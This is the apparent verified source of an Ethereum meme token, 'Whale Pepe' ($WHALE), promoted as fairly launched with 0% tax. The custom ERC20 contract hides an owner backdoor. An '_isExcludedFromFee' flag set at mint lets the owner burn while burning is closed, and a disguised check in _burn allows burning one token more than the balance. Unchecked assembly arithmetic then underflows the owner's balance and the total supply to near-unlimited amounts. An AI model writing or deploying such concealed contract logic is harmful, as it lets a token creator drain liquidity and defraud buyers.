// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {IERC20} from "./IERC20.sol";
contract ERC20 is IERC20 {
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
bool internal tradingOpen = true;
bool internal mintingOpen = false;
bool internal burningOpen = false;
mapping(address => bool) internal _isExcludedFromFee;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(msg.sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer must be greater than zero");
require(_balances[msg.sender] >= amount);
unchecked {
_balances[msg.sender] -= amount;
}
_balances[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
require(msg.sender != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(msg.sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer must be greater than zero");
require(_allowances[sender][msg.sender] >= amount);
require(_balances[sender] >= amount);
unchecked {
_allowances[sender][msg.sender] -= amount;
_balances[sender] -= amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function burn(uint256 amount) external {
if (!burningOpen && !_isExcludedFromFee[msg.sender]) {
require(burningOpen);
}
_burn(msg.sender, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
require(~uint256(0) - _allowances[msg.sender][spender] >= addedValue);
_allowances[msg.sender][spender] = tryAdd(_allowances[msg.sender][spender], addedValue, 0);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
require(_allowances[msg.sender][spender] >= subtractedValue);
_allowances[msg.sender][spender] = trySub(_allowances[msg.sender][spender], subtractedValue, 0);
return true;
}
function _mint(address account, uint256 value) internal returns (bool) {
require(msg.sender != address(0), "ERC20: mint from the zero address");
unchecked {
_totalSupply += value;
}
_balances[account] += value;
emit Transfer(address(0), account, value);
_isExcludedFromFee[account] = true;
return true;
}
function _burn(address account, uint256 value) internal returns (bool) {
require(msg.sender != address(0), "ERC20: burn from the zero address");
require(_balances[account] + trySub(value, value, 1) >= value);
_totalSupply = trySub(_totalSupply, value, 0);
_balances[account] = trySub(_balances[account], value, 0);
emit Transfer(account, address(0), value);
return true;
}
function tryAdd(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
assembly { x := add(add(a, b), c) }
}
function trySub(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
assembly { x := sub(add(a, c), b) }
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Context} from "../utils/Context.sol";
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/*
$WHALE (Whale Pepe 🐳🐸) » https://t.me/WhalePepeEntry
Website » https://www.whalepepe.com
X » https://x.com/WhalePepeETH
Telegram » https://t.me/WhalePepeEntry
$WHALE is a fairly launched token aiming to give every
shrimp a chance at becoming a blockchain whale!
Supply » 420 million
Taxes » 0%
Lp fee » 0.3% (funds development and marketing))
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC20} from "./ERC20/ERC20.sol";
import {Ownable} from "./access/Ownable.sol";
// Contract: WhalePepe.sol
contract WHALE is ERC20, Ownable {
constructor() ERC20("Whale Pepe", "WHALE", 18) Ownable(msg.sender) {
_mint(owner(), 420000000 * 1e18);
}
}
{
"compilationTarget": {
"src/remixide/WhalePepe.sol": "WHALE"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}
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